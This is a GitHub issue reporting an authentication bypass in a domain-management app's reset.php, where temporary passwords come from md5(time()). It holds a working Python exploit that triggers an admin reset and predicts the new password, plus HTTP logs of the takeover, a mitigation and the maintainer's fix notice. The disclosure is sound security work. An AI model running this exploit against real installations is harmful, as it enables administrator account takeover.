

[New issue](#)[Jump to bottom](#)

Authentication Bypass via reset.php #122

[Closed](#)

AbhishekHerle opened this issue on May 2, 2020 · 1 comment

Assignees



Labels

enhancement

AbhishekHerle commented on May 2, 2020

Summary:

reset.php handles "resetting"/changing an existing user's password. The reset functionality uses PHP's time() to derive the new password for the user that is attempting to change their password. This method of using time() to create a temporary password is very deterministic and allows an attacker to invoke the reset password functionality and reliably determine what the new password is, thus allowing for an account takeover.

File Affected: reset.php

Vulnerability Details:

1. Below is an overview of the logic used by reset.php to change a user's password.

```
$user_identifier = $_REQUEST['user_identifier'];

if ($user_identifier != '') {

    $stmt = $pdo->prepare("
        SELECT first_name, last_name, username, email_address
        FROM users
        WHERE (username = :username OR email_address = :email_address)
        AND active = '1'");

    $stmt->bindValue('username', $user_identifier, PDO::PARAM_STR);
    $stmt->bindValue('email_address', $user_identifier, PDO::PARAM_STR);
    $stmt->execute();
    $result = $stmt->fetch();
    $stmt->closeCursor();

    if (!$result) {

        $_SESSION['s_message_success'] .= "If there is a matching username

        header('Location: ' . $web_root . "/");
        exit;

    } else {

        $new_password = substr(md5(time()), 0, 8);

        $stmt = $pdo->prepare("
            UPDATE users
            SET `password` = password(:new_password),
            new_password = '1',
```

2. In red is the SQL statement is used to determine the existence of a user.

```
SELECT first_name, last_name, username, email_address FROM users WHERE (username = :username OR email_address = :email_address) AND active = '1'
```

A user's password is changed only if the above statement returns a non-empty result set. As we can see, the above SQL statement results in a row being returned if either the username or the email address exists in the database. Hence, an attacker will be able to invoke a change of password (in green) as long as the attacker knows a valid username.

3. Once, the user's username (email ID) is validated, the application proceeds to change the password of the user (in green). A new/temporary password is created for the user by using the first 8 characters of the MD5 hash of the current Unix timestamp.

```
$new_password = substr(md5(time()), 0, 8);
```

An SQL statement is then used to update the user with the new password.

4. The problem with the aforementioned logic is that it is very easy for an attacker to determine the new password as the result of the time() is very deterministic and not random. Hence, this vulnerability can be exploited to change the password of a user and then reliably determine the new password. The credentials can then be used to login to the application.

As, admin is a default user on the application, this vulnerability can be used to change the admin password and consequently login to the application as the said admin user.

Exploit:

The following python script can be used to reset/change a user's password and subsequently determine the new password.

```
import time
import math
```

```
import requests
import hashlib

RESET_URL = "http://SERVER_IP/path_to_domainmod_application/reset.php?user_identifier={}"

def reset_password(username='admin'):

    seed_1 = str(math.floor(time.time())).encode('ascii')
    r = requests.get(RESET_URL.format(username))
    # Time is measured immediately after issuing the rest request just to handle edge cases of the
    # timestamp changing in between the first-time measure and the reset request
    seed_2 = str(math.floor(time.time())).encode('ascii')

    password_1 = hashlib.md5(seed_1).hexdigest()
    password_2 = hashlib.md5(seed_2).hexdigest()

    print(password_1[:8])
    print(password_2[:8])

reset_password()
```

1. Successful login using admin:Hacker!234

```
POST /domainmod/ HTTP/1.1
Host: [REDACTED]
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[REDACTED]/domainmod/
Connection: close
Cookie: domainmod_gc_ays=k8a1rq12260v8psvm2ike04rnm
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

new_username=admin&new_password=Hacker!234
```

```
HTTP/1.1 302 Found
Date: Fri, 01 May 2020 21:35:59 GMT
Server: Apache/2.4.38 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-
Pragma: no-cache
Location: /domainmod/dashboard/
Content-Length: 0
Connection: close
Content-Type: text/html; charset=utf-8
```

2. Resetting the password using the above exploit code

3. Unsuccessful login using admin:Hacker!234

Request
Raw Params Headers Hex

POST /domainmod/ HTTP/1.1
Host: [REDACTED]
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[REDACTED]/domainmod/
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

new_username=admin&new_password=Hacker!234

Response
Raw Headers Hex

</div>
<!-- /.login-l

<div class="ale
<h4>
<i class=":
Alert!</h4>
Login Failed

</div>

<div class="ale
<h4>
<i class=":

4. Successful login using newly obtained credentials admin:e65edd7b

Request
Raw Params Headers Hex

POST /domainmod/ HTTP/1.1
Host: [REDACTED]
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[REDACTED]/domainmod/
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

new_username=admin&new_password=e65edd7b

Response
Raw Headers Hex

HTTP/1.1 302 Found
Date: Fri, 01 May 2020 21:41:56 GMT
Server: Apache/2.4.38 (Debian)
Set-Cookie: domainmod_gc_ays=tj38mqn3qa53olahnbyk80l36z; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: checks.php
Content-Length: 0
Connection: close
Content-Type: text/html; charset=utf-8

Mitigation:

One suggestion is to use a cryptographically secure random number as the seed to the md5() instead of time().

```
$new_password = substr(md5(random_int(0, time())), 0, 8);
```

chetcuti commented on May 3, 2020

Member


Thank you so much for the report! Especially one so detailed!

This issue has been resolved in the development branch ([change 1](#), [change 2](#)), and it's going to be included in a new version that's being released in the next couple weeks.

Thanks again for the report, it's genuinely appreciated!

chetcuti closed this as completed on May 3, 2020

chetcuti self-assigned this on May 3, 2020

 chetcuti added the **enhancement** label on May 3, 2020

Assignees

 chetcuti

Labels

enhancement

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants